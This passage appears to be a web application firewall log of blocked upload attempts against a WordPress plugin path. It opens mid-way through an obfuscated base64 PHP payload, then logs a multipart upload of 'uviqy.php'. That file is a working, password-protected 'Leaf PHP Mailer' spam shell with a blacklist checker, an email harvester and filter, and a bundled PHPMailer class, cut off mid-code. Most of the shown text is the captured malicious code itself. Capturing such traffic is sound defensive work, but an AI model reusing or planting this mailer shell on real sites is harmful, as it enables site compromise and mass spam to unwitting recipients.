uQjVPWHFUZkJHTzJNSVVNQkxERHQyM3pONlhCdDY2N3M5aEg4NUFnZmFldkZ4Wlo2ZFA0Z1FuVzZCbTVHcWZmUERaS0pHQ0Zhdk80Q1lDUXRUajRQVTFhQ25Pa0NSRWlPeG1CSTNMMFBqeUMxNTNlWk83THZ4ZHJ4YlRRNlVEZzgwbUZKbmJ3Tm5SRHU4aGJQV3ZtTWRlZXphdGJYTnV3emZ6Z1ZQck9JdGhVWGZRcm9XZ1V1T3VxN2Vld3FlQlgyTlVnWkVQalUwTDFEN2RCblRXWUFqalBlWlgwdklIbm5lVVFDZndqUHZacVlRZDhyZ0JPMTdleVM5VkdRdVVRaFBSc0pLd3Z1aUg0ellpd2hKbFppQ3pONWMzbWlQelp0bDBuZjhTdzcxVFA5VjF3RTFrdzhLaDVGMEFlcXdOemh1Vnd1cTFtbE1HSjc2Zmg4RW51UXFpdmdQRE91NTJYak9DeU1XdEdmSDJHSGhkNkNVd21heUFxVlFYNlNFaUVTWGRrdEdlam10ZVhWdlFPWXRzSFcnKSkpKSkpKSkpKSkpKSk7'));\n?>\r\n--52ff276e83474c973ee8405732ec169e\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--52ff276e83474c973ee8405732ec169e\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--52ff276e83474c973ee8405732ec169e\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--52ff276e83474c973ee8405732ec169e--\r\n"]
["2026-05-26 21:32:44","170.205.30.68","POST","\/wp-content\/plugins\/ubked\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/ubked\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=ba15a911e0107f9e7dd2a4298992f790\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:166200\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-user:?1\nsec-fetch-site:same-origin\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--ba15a911e0107f9e7dd2a4298992f790\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--ba15a911e0107f9e7dd2a4298992f790\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--ba15a911e0107f9e7dd2a4298992f790\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"uviqy.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\/**\n * Leaf PHP Mailer by [leafmailer.pw]\n * @version : 2.8\n**\/\n\n$password = \"lufix\"; \/\/ Password \n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"memory_limit\",-1);\n\n$leaf['version']=\"2.8\";\n$leaf['website']=\"leafmailer.pw\";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print \"<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'><\/form><\/pre>\";\n exit; \n }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode('@', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n $text = str_replace(\"[-time-]\", date(\"m\/d\/Y h:i:s a\", time()), $text);\n $text = str_replace(\"[-email-]\", $email, $text);\n $text = str_replace(\"[-emailuser-]\", $emailuser, $text);\n $text = str_replace(\"[-emaildomain-]\", $emaildomain, $text);\n $text = str_replace(\"[-randomletters-]\", randString('abcdefghijklmnopqrstuvwxyz'), $text);\n $text = str_replace(\"[-randomstring-]\", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);\n $text = str_replace(\"[-randomnumber-]\", randString('0123456789'), $text);\n $text = str_replace(\"[-randommd5-]\", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);\n return $text; \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n $length=rand(12,25);\n $password = '';\n for ($i = 0; $i < $length; $i++) {\n $password .= $consonants[(rand() % strlen($consonants))];\n }\n return $password;\n}\nfunction leafMailCheck($email){\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET['check_ip'])){\n if (isset($_GET['host'])){\n $_GET['host']=explode(\",\", $_GET['host']);\n foreach ($_GET['host'] as $host) {\n if (checkdnsrr($_GET['check_ip'] . \".\" . $host . \".\", \"A\")) $check= \"<font color='red'> Listed<\/font>\";\n else $check= \"<font color='green'> Clean<\/font>\";\n print 'document.getElementById(\"'. $host.'\").innerHTML = \"'.$check.'\";';\n }\n\n exit;\n }\n $dnsbl_lookup = [\n \"all.s5h.net\",\n \"b.barracudacentral.org\",\n \"bl.spamcop.net\",\n \"blacklist.woody.ch\",\n \"bogons.cymru.com\",\n \"cbl.abuseat.org\",\n \"cdl.anti-spam.org.cn\",\n \"combined.abuse.ch\",\n \"db.wpbl.info\",\n \"dnsbl-1.uceprotect.net\",\n \"dnsbl-2.uceprotect.net\",\n \"dnsbl-3.uceprotect.net\",\n \"dnsbl.anticaptcha.net\",\n \"dnsbl.dronebl.org\",\n \"dnsbl.inps.de\",\n \"dnsbl.sorbs.net\",\n \"drone.abuse.ch\",\n \"duinv.aupads.org\",\n \"dul.dnsbl.sorbs.net\",\n \"dyna.spamrats.com\",\n \"dynip.rothen.com\",\n \"http.dnsbl.sorbs.net\",\n \"ips.backscatterer.org\",\n \"ix.dnsbl.manitu.net\",\n \"korea.services.net\",\n \"misc.dnsbl.sorbs.net\",\n \"noptr.spamrats.com\",\n \"orvedb.aupads.org\",\n \"pbl.spamhaus.org\",\n \"proxy.bl.gweep.ca\",\n \"psbl.surriel.com\",\n \"relays.bl.gweep.ca\",\n \"relays.nether.net\",\n \"sbl.spamhaus.org\",\n \"short.rbl.jp\",\n \"singular.ttk.pte.hu\",\n \"smtp.dnsbl.sorbs.net\",\n \"socks.dnsbl.sorbs.net\",\n \"spam.abuse.ch\",\n \"spam.dnsbl.anonmails.de\",\n \"spam.dnsbl.sorbs.net\",\n \"spam.spamrats.com\",\n \"spambot.bls.digibase.ca\",\n \"spamrbl.imp.ch\",\n \"spamsources.fabel.dk\",\n \"ubl.lashback.com\",\n \"ubl.unsubscore.com\",\n \"virus.rbl.jp\",\n \"web.dnsbl.sorbs.net\",\n \"wormrbl.imp.ch\",\n \"xbl.spamhaus.org\",\n \"z.mailspike.net\",\n \"zen.spamhaus.org\",\n \"zombie.dnsbl.sorbs.net\",\n ];\n $reverse_ip = implode(\".\", array_reverse(explode(\".\", $_GET['check_ip'])));\n $dnsT = count($dnsbl_lookup);\n leafheader();\n print '<div class=\"container col-lg-6\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Blacklist Checker<\/small><\/h3>';\n Print \"Checking <b>\".$_GET['check_ip'].\"<\/b> in <b>$dnsT<\/b> anti-spam databases:<br>\";\n $dnsN=\"\";\n print '<table >';\n for ($i=0; $i < $dnsT; $i=$i+10) { \n $host=\"\";\n $hosts=\"\";\n for($j=$i; $j<$i+10;$j++){\n $host=$dnsbl_lookup[$j];\n if(!empty($host)){\n print \"<tr> <td>$host<\/td> <td id='$host'>Checking ..<\/td><\/tr>\";\n $hosts .=\"$host,\";\n }\n }\n $dnsN.=\"<script src='?check_ip=$reverse_ip&host=\".$hosts.\"' type='text\/javascript'><\/script>\";\n }\n\n print '<\/table><\/div>';\n print $dnsN;\n exit;\n}\nif(isset($_GET['emailfilter'])){\n\n if(!empty($_FILES['fileToUpload']['tmp_name'])){\n $_POST['emailList']= file_get_contents($_FILES[\"fileToUpload\"][\"tmp_name\"]); \n }\n $_POST['emailList']=strtolower($_POST['emailList']);\n if($_GET['emailfilter']==\"ifram\"){\n if ($_POST['resulttype'] == \"download\"){\n header(\"Content-Description: File Transfer\"); \n header(\"Content-Type: application\/octet-stream\"); \n header(\"Content-Disposition: attachment; filename=emails\".time().\".txt\");\n }\n else {\n header(\"Content-Type: text\/plain\");\n }\n if($_POST['submit']==\"extract\"){\n $pattern = '\/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\/';\n preg_match_all($pattern, $_POST['emailList'], $matches);\n foreach ($matches[0] as $email) {\n print $email.\"\\n\";\n }\n }\n elseif ($_POST['submit']==\"filter\") {\n $emails=explode(\"\\n\", $_POST['emailList']);\n $keywords=explode(\"\\n\", strtolower($_POST['keywords']));\n foreach ($emails as $email) {\n foreach ($keywords as $keyword ) {\n if(strstr($email, $keyword) ){\n print $email.\"\\n\";\n break;\n }\n \n }\n }\n\n }\n exit;\n }\n leafheader();\n print '<div class=\"container col-lg-4\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Email Filter<\/small><\/h3>';\n print '\n <form action=\"?emailfilter=ifram\" method=\"POST\" target=\"my-iframe\" enctype=\"multipart\/form-data\" onsubmit=\\'\\'>\n <label for=\"emailList\">Text <\/label><input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"> \n or\n\n <textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"7\" id=\"textArea\"><\/textarea>\n <div class=\"col-lg-12\">\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"here\" checked=\"\">\n Show Result in this page\n <\/label>\n <\/div>\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"download\">\n Download Result (for big numbers)\n <\/label>\n <\/div>\n <\/div>\n <legend><h4>Extract Email<\/h4><\/legend>\n Detecting every email (100%) and order them line by line <br><br>\n <button type=\"submit\" name=\"submit\" value=\"extract\" class=\"btn btn-default btn-sm\">Start<\/button>\n <legend><h4>Filter Emails<\/h4><\/legend>\n <label >Keywords <small> ex: gmail.com or .co.uk<\/small> <\/label><textarea name=\"keywords\" id=\"keywords\" class=\"form-control\" rows=\"4\" id=\"textArea\">gmail.com\nhotmail.com\nyahoo.com\n.co.uk<\/textarea><br>\n\n <button type=\"submit\" name=\"submit\" value=\"filter\" class=\"btn btn-default btn-sm\">Start<\/button>\n <\/form>\n <label >Result <\/label>\n <iframe style=\"border:none;width:100%;\" name=\"my-iframe\" src=\"?emailfilter=ifram\" ><\/iframe>\n ';\n exit;\n\n}\n$html=\"checked\";\n$utf8=\"selected\";\n$bit8=\"selected\";\n\nif($_POST['action']==\"send\" or $_POST['action']==\"score\"){\n\n $senderEmail=leafTrim($_POST['senderEmail']);\n $senderName=leafTrim($_POST['senderName']);\n $replyTo=leafTrim($_POST['replyTo']);\n $subject=leafTrim($_POST['subject']);\n $emailList=leafTrim($_POST['emailList']);\n $messageType=leafTrim($_POST['messageType']);\n $messageLetter=leafTrim($_POST['messageLetter']);\n $encoding = $_POST['encode'];\n $charset = $_POST['charset'];\n $html=\"\";\n $utf8=\"\";\n $bit8=\"\";\n\n if($messageType==2) $plain=\"checked\";\n else $html=\"checked\";\n\n if($charset==\"ISO-8859-1\") $iso=\"selected\";\n else $utf8=\"selected\";\n\n if($encoding==\"7bit\") $bit7=\"selected\";\n elseif($encoding==\"binary\") $binary=\"selected\";\n elseif($encoding==\"base64\") $base64=\"selected\";\n elseif($encoding==\"quoted-printable\") $quotedprintable=\"selected\";\n else $bit8=\"selected\";\n\n\n\n}\nif($_POST['action']==\"view\"){\n\t$viewMessage=leafTrim($_POST['messageLetter']);\n\t$viewMessage=leafClear($viewMessage,\"user@domain.com\");\n\tif ($_POST['messageType']==2){\n\t\tprint \"<pre>\".htmlspecialchars($viewMessage).\"<\/pre>\";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST['senderEmail'])){\n $senderEmail=\"support@\".str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']);\n if (!leafMailCheck($senderEmail)) $senderEmail=\"\";\n}\n\nclass PHPMailer\n{\n \/**\n * The PHPMailer Version number.\n * @var string\n *\/\n public $Version = '5.2.28';\n\n \/**\n * Email priority.\n * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n * When null, the header is not set at all.\n * @var integer\n *\/\n public $Priority = null;\n\n \/**\n * The character set of the message.\n * @var string\n *\/\n public $CharSet = 'iso-8859-1';\n\n \/**\n * The MIME Content-type of the message.\n * @var string\n *\/\n public $ContentType = 'text\/plain';\n\n \/**\n * The message encoding.\n * Options: \"8bit\", \"7bit\", \"binary\", \"base64\", and \"quoted-printable\".\n * @var string\n *\/\n public $Encoding = '8bit';\n\n \/**\n * Holds the most recent mailer error message.\n * @var string\n *\/\n public $ErrorInfo = '';\n\n \/**\n * The From email address for the message.\n * @var string\n *\/\n public $From = 'root@localhost';\n\n \/**\n * The From name of the message.\n * @var string\n *\/\n public $FromName = 'Root User';\n\n \/**\n * The Sender email (Return-Path) of the message.\n * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.\n * @var string\n *\/\n public $Sender = '';\n\n \/**\n * The Return-Path of the message.\n * If empty, it will be set to either From or Sender.\n * @var string\n * @deprecated Email senders should never set a return-path header;\n * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.\n * @link https:\/\/tools.ietf.org\/html\/rfc5321#section-4.4 RFC5321 reference\n *\/\n public $ReturnPath = '';\n\n \/**\n * The Subject of the message.\n * @var string\n *\/\n public $Subject = '';\n\n \/**\n * An HTML or plain text message body.\n * If HTML then call isHTML(true).\n * @var string\n *\/\n public $Body = '';\n\n \/**\n * The plain-text message body.\n * This body can be read by mail clients that do not have HTML email\n * capability such as mutt & Eudora.\n * Clients that can read HTML will view the normal Body.\n * @var string\n *\/\n public $AltBody = '';\n\n \/**\n * An iCal message part body.\n * Only supported in simple alt or alt_inline message types\n * To generate iCal events, use the bundled extras\/EasyPeasyICS.php class or iCalcreator\n * @link http:\/\/sprain.ch\/blog\/downloads\/php-class-easypeasyics-create-ical-files-with-php\/\n * @link http:\/\/kigkonsult.se\/iCalcreator\/\n * @var string\n *\/\n public $Ical = '';\n\n \/**\n * The complete compiled MIME message body.\n * @access protected\n * @var string\n *\/\n protected $MIMEBody = '';\n\n \/**\n * The complete compiled MIME message headers.\n * @var string\n * @access protected\n *\/\n protected $MIMEHeader = '';\n\n \/**\n * Extra headers that createHeader() doesn't fold in.\n * @var string\n * @access protected\n *\/\n protected $mailHeader = '';\n\n \/**\n * Word-wrap the message body to this number of chars.\n * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n * @var integer\n *\/\n public $WordWrap = 0;\n\n \/**\n * Which method to use to send mail.\n * Options: \"mail\", \"sendmail\", or \"smtp\".\n * @var string\n *\/\n public $Mailer = 'mail';\n\n \/**\n * The path to the sendmail program.\n * @var string\n *\/\n public $Sendmail = '\/usr\/sbin\/sendmail';\n\n \/**\n * Whether mail() uses a fully sendmail-compatible MTA.\n * One which supports sendmail's \"-oi -f\" options.\n * @var boolean\n *\/\n public $UseSendmailOptions = true;\n\n \/**\n * Path to PHPMailer plugins.\n * Useful if the SMTP class is not in the PHP include path.\n * @var string\n * @deprecated Should not be needed now there is an autoloader.\n *\/\n public $PluginDir = '';\n\n \/**\n * The email address that a reading confirmation should be sent to, also known as read receipt.\n * @var string\n *\/\n public $ConfirmReadingTo = '';\n\n \/**\n * The hostname to use in the Message-ID header and as default HELO string.\n * If empty, PHPMailer attempts to find one with, in order,\n * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value\n * 'localhost.localdomain'.\n * @var string\n *\/\n public $Hostname = '';\n\n \/**\n * An ID to be used in the Message-ID header.\n * If empty, a unique id will be generated.\n * You can set your own, but it must be in the format \"<id@domain>\",\n * as defined in RFC5322 section 3.6.4 or it will be ignored.\n * @see https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n * @var string\n *\/\n public $MessageID = '';\n\n \/**\n * The message Date to be used in the Date header.\n * If empty, the current date will be added.\n * @var string\n *\/\n public $MessageDate = '';\n\n \/**\n * SMTP hosts.\n * Either a single hostname or multiple semicolon-delimited hostnames.\n * You can also specify a different port\n * for each host by using this format: [hostname:port]\n * (e.g. \"smtp1.example.com:25;smtp2.example.com\").\n * You can also specify encryption type, for example:\n * (e.g. \"tls:\/\/smtp1.example.com:587;ssl:\/\/smtp2.example.com:465\").\n * Hosts will be tried in order.\n * @var string\n *\/\n public $Host = 'localhost';\n\n \/**\n * The default SMTP server port.\n * @var integer\n * @TODO Why is this needed when the SMTP class takes care of it?\n *\/\n public $Port = 25;\n\n \/**\n * The SMTP HELO of the message.\n * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n * one with the same method described above for $Hostname.\n * @var string\n * @see PHPMailer::$Hostname\n *\/\n public $Helo = '';\n\n \/**\n * What kind of encryption to use on the SMTP connection.\n * Options: '', 'ssl' or 'tls'\n * @var string\n *\/\n public $SMTPSecure = '';\n\n \/**\n * Whether to enable TLS encryption automatically if a server supports it,\n * even if `SMTPSecure` is not set to 'tls'.\n * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.\n * @var boolean\n *\/\n public $SMTPAutoTLS = true;\n\n \/**\n * Whether to use SMTP authentication.\n * Uses the Username and Password properties.\n * @var boolean\n * @see PHPMailer::$Username\n * @see PHPMailer::$Password\n *\/\n public $SMTPAuth = false;\n\n \/**\n * Options array passed to stream_context_create when connecting via SMTP.\n * @var array\n *\/\n public $SMTPOptions = array();\n\n \/**\n * SMTP username.\n * @var string\n *\/\n public $Username = '';\n\n \/**\n * SMTP password.\n * @var string\n *\/\n public $Password = '';\n\n \/**\n * SMTP auth type.\n * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n * @var string\n *\/\n public $AuthType = '';\n\n \/**\n * SMTP realm.\n * Used for NTLM auth\n * @var string\n *\/\n public $Realm = '';\n\n \/**\n * SMTP workstation.\n * Used for NTLM auth\n * @var string\n *\/\n public $Workstation = '';\n\n \/**\n * The SMTP server timeout in seconds.\n * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n * @var integer\n *\/\n public $Timeout = 300;\n\n \/**\n * SMTP class debug output mode.\n * Debug output level.\n * Options:\n * * `0` No output\n * * `1` Commands\n * * `2` Data and commands\n * * `3` As 2 plus connection status\n * * `4` Low-level data output\n * @var integer\n * @see SMTP::$do_debug\n *\/\n public $SMTPDebug = 0;\n\n \/**\n * How to handle debug output.\n * Options:\n * * `echo` Output plain-text as-is, appropriate for CLI\n * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n * * `error_log` Output to error log as configured in php.ini\n *\n * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n * <code>\n * $mail->Debugoutput = function($str, $level) {echo \"debug level $level; message: $str\";};\n * <\/code>\n * @var string|callable\n * @see SMTP::$Debugoutput\n *\/\n public $Debugoutput = 'echo';\n\n \/**\n * Whether to keep SMTP connection open after each message.\n * If this is set to true then to close the connection\n * requires an explicit call to smtpClose().\n * @var boolean\n *\/\n public $SMTPKeepAlive = false;\n\n \/**\n * Whether to split multiple to addresses into multiple messages\n * or send them all in one message.\n * Only supported in `mail` and `sendmail` transports, not in SMTP.\n * @var boolean\n *\/\n public $SingleTo = false;\n\n \/**\n * Storage for addresses when SingleTo is enabled.\n * @var array\n * @TODO This should really not be public\n *\/\n public $SingleToArray = array();\n\n \/**\n * Whether to generate VERP addresses on send.\n * Only applicable when sending via SMTP.\n * @link https:\/\/en.wikipedia.org\/wiki\/Variable_envelope_return_path\n * @link http:\/\/www.postfix.org\/VERP_README.html Postfix VERP info\n * @var boolean\n *\/\n public $do_verp = false;\n\n \/**\n * Whether to allow sending messages with an empty body.\n * @var boolean\n *\/\n public $AllowEmpty = false;\n\n \/**\n * The default line ending.\n * @note The default remains \"\\n\". We force CRLF where we know\n * it must be used via self::CRLF.\n * @var string\n *\/\n public $LE = \"\\n\";\n\n \/**\n * DKIM selector.\n * @var string\n *\/\n public $DKIM_selector = '';\n\n \/**\n * DKIM Identity.\n * Usually the email address used as the source of the email.\n * @var string\n *\/\n public $DKIM_identity = '';\n\n \/**\n * DKIM passphrase.\n * Used if your key is encrypted.\n * @var string\n *\/\n public $DKIM_passphrase = '';\n\n \/**\n * DKIM signing domain name.\n * @example 'example.com'\n * @var string\n *\/\n public $DKIM_domain = '';\n\n \/**\n * DKIM private key file path.\n * @var string\n *\/\n public $DKIM_private = '';\n\n \/**\n * DKIM private key string.\n * If set, takes precedence over `$DKIM_private`.\n * @var string\n *\/\n public $DKIM_private_string = '';\n\n \/**\n * Callback Action function name.\n *\n * The function that handles the result of the send email action.\n * It is called out by send() for each email sent.\n *\n * Value can be any php callable: http:\/\/www.php.net\/is_callable\n *\n * Parameters:\n * boolean $result result of the send action\n * array $to email addresses of the recipients\n * array $cc cc email addresses\n * array $bcc bcc email addresses\n * string $subject the subject\n * string $body the email body\n * string $from email address of sender\n * @var string\n *\/\n public $action_function = '';\n\n \/**\n * What to put in the X-Mailer header.\n * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n * @var string\n *\/\n public $XMailer = ' ';\n\n \/**\n * Which validator to use by default when validating email addresses.\n * May be a callable to inject your own validator, but there are several built-in validators.\n * @see PHPMailer::validateAddress()\n * @var string|callable\n * @static\n *\/\n public static $validator = 'auto';\n\n \/**\n * An instance of the SMTP sender class.\n * @var SMTP\n * @access protected\n *\/\n protected $smtp = null;\n\n \/**\n * The array of 'to' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $to = array();\n\n \/**\n * The array of 'cc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $cc = array();\n\n \/**\n * The array of 'bcc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $bcc = array();\n\n \/**\n * The array of reply-to names and addresses.\n * @var array\n * @access protected\n *\/\n protected $ReplyTo = array();\n\n \/**\n * An array of all kinds of addresses.\n * Includes all of $to, $cc, $bcc\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n *\/\n protected $all_recipients = array();\n\n \/**\n * An array of names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $all_recipients\n * and one of $to, $cc, or $bcc.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n * @see PHPMailer::$all_recipients\n *\/\n protected $RecipientsQueue = array();\n\n \/**\n * An array of reply-to names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $ReplyTo.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$ReplyTo\n *\/\n protected $ReplyToQueue = array();\n\n \/**\n * The array of attachments.\n * @var array\n * @access protected\n *\/\n protected $attachment = array();\n\n \/**\n * The array of custom headers.\n * @var array\n * @access protected\n *\/\n protected $CustomHeader = array();\n\n \/**\n * The most recent Message-ID (including angular brackets).\n * @var string\n * @access protected\n *\/\n protected $lastMessageID = '';\n\n \/**\n * The message's MIME type.\n * @var string\n * @access protected\n *\/\n protected $message_type = '';\n\n \/**\n * The array of MIME boundary strings.\n * @var array\n * @access protected\n *\/\n protected $boundary = array();\n\n \/**\n * The array of available languages.\n * @var array\n * @access protected\n *\/\n protected $language = array();\n\n \/**\n * The number of errors encountered.\n * @var integer\n * @access protected\n *\/\n protected $error_count = 0;\n\n \/**\n * The S\/MIME certificate file path.\n * @var string\n * @access protected\n *\/\n protected $sign_cert_file = '';\n\n \/**\n * The S\/MIME key file path.\n * @var string\n * @access protected\n *\/\n protected $sign_key_file = '';\n\n \/**\n * The optional S\/MIME extra certificates (\"CA Chain\") file path.\n * @var string\n * @access protected\n *\/\n protected $sign_extracerts_file = '';\n\n \/**\n * The S\/MIME password for the key.\n * Used only if the key is encrypted.\n * @var string\n * @access protected\n *\/\n protected $sign_key_pass = '';\n\n \/**\n * Whether to throw exceptions for errors.\n * @var boolean\n * @access protected\n *\/\n protected $exceptions = false;\n\n \/**\n * Unique ID used for message ID and boundaries.\n * @var string\n * @access protected\n *\/\n protected $uniqueid = '';\n\n \/**\n * Error severity: message only, continue processing.\n *\/\n const STOP_MESSAGE = 0;\n\n \/**\n * Error severity: message, likely ok to continue processing.\n *\/\n const STOP_CONTINUE = 1;\n\n \/**\n * Error severity: message, plus full stop, critical error reached.\n *\/\n const STOP_CRITICAL = 2;\n\n \/**\n * SMTP RFC standard line ending.\n *\/\n const CRLF = \"\\r\\n\";\n\n \/**\n * The maximum line length allowed by RFC 2822 section 2.1.1\n * @var integer\n *\/\n const MAX_LINE_LENGTH = 998;\n\n \/**\n * Constructor.\n * @param boolean $exceptions Should we throw external exceptions?\n *\/\n public function __construct($exceptions = null)\n {\n if ($exceptions !== null) {\n $this->exceptions = (boolean)$exceptions;\n }\n \/\/Pick an appropriate debug output format automatically\n $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');\n }\n\n \/**\n * Destructor.\n *\/\n public function __destruct()\n {\n \/\/Close any open SMTP connection nicely\n $this->smtpClose();\n }\n\n \/**\n * Call mail() in a safe_mode-aware fashion.\n * Also, unless sendmail_path points to sendmail (or something that\n * claims to be sendmail), don't pass params (not a perfect fix,\n * but it will do)\n * @param string $to To\n * @param string $subject Subject\n * @param string $body Message Body\n * @param string $header Additional Header(s)\n * @param string $params Params\n * @access private\n * @return boolean\n *\/\n private function mailPassthru($to, $subject, $body, $header, $params)\n {\n \/\/Check overloading of mail function to avoid double-encoding\n if (ini_get('mbstring.func_overload') & 1) {\n $subject = $this->secureHeader($subject);\n } else {\n $subject = $this->encodeHeader($this->secureHeader($subject));\n }\n\n \/\/Can't use additional_parameters in safe_mode, calling mail() with null params breaks\n \/\/@link http:\/\/php.net\/manual\/en\/function.mail.php\n if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {\n $result = @mail($to, $subject, $body, $header);\n } else {\n $result = @mail($to, $subject, $body, $header, $params);\n }\n return $result;\n }\n \/**\n * Output debugging info via user-defined method.\n * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n * @see PHPMailer::$Debugoutput\n * @see PHPMailer::$SMTPDebug\n * @param string $str\n *\/\n protected function edebug($str)\n {\n if ($this->SMTPDebug <= 0) {\n return;\n }\n \/\/Avoid clash with built-in function names\n if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {\n call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n return;\n }\n switch ($this->Debugoutput) {\n case 'error_log':\n \/\/Don't output, just log\n error_log($str);\n break;\n case 'html':\n \/\/Cleans up output a bit for a better looking, HTML-safe output\n echo htmlentities(\n preg_replace('\/[\\r\\n]+\/', '', $str),\n ENT_QUOTES,\n 'UTF-8'\n )\n . \"<br>\\n\";\n break;\n case 'echo':\n default:\n \/\/Normalize line breaks\n $str = preg_replace('\/\\r\\n?\/ms', \"\\n\", $str);\n echo gmdate('Y-m-d H:i:s') . \"\\t\" . str_replace(\n \"\\n\",\n \"\\n \\t \",\n trim($str)\n ) . \"\\n\";\n }\n }\n\n \/**\n * Send messages using SMTP.\n * @return void\n *\/\n public function isSMTP()\n {\n $this->Mailer = 'smtp';\n }\n\n \/**\n * Send messages using PHP's mail() function.\n * @return void\n *\/\n public function isMail()\n {\n $this->Mailer = 'mail';\n }\n\n \/**\n * Send messages using $Sendmail.\n * @return void\n *\/\n public function isSendmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'sendmail')) {\n $this->Sendmail = '\/usr\/sbin\/sendmail';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'sendmail';\n }\n\n \/**\n * Send messages using qmail.\n * @return void\n *\/\n public function isQmail()\n {\n $ini_sendmail_path = ini_get('sendmail_path');\n\n if (!stristr($ini_sendmail_path, 'qmail')) {\n $this->Sendmail = '\/var\/qmail\/bin\/qmail-inject';\n } else {\n $this->Sendmail = $ini_sendmail_path;\n }\n $this->Mailer = 'qmail';\n }\n\n \/**\n * Add a \"To\" address.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addAddress($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('to', $address, $name);\n }\n\n \/**\n * Add a \"CC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * @param string $name\n * @return boolean true on success, false if address already used or invalid in some way\n *\/\n public function addCC($address, $name = '')\n {\n return $this->addOrEnqueueAnAddress('cc', $address, $name);\n }\n\n \/**\n * Add a \"BCC\" address.\n * @note: This function works with the SMTP mailer on win32, not with the \"mail\" mailer.\n * @param string $address The email address to send to\n * 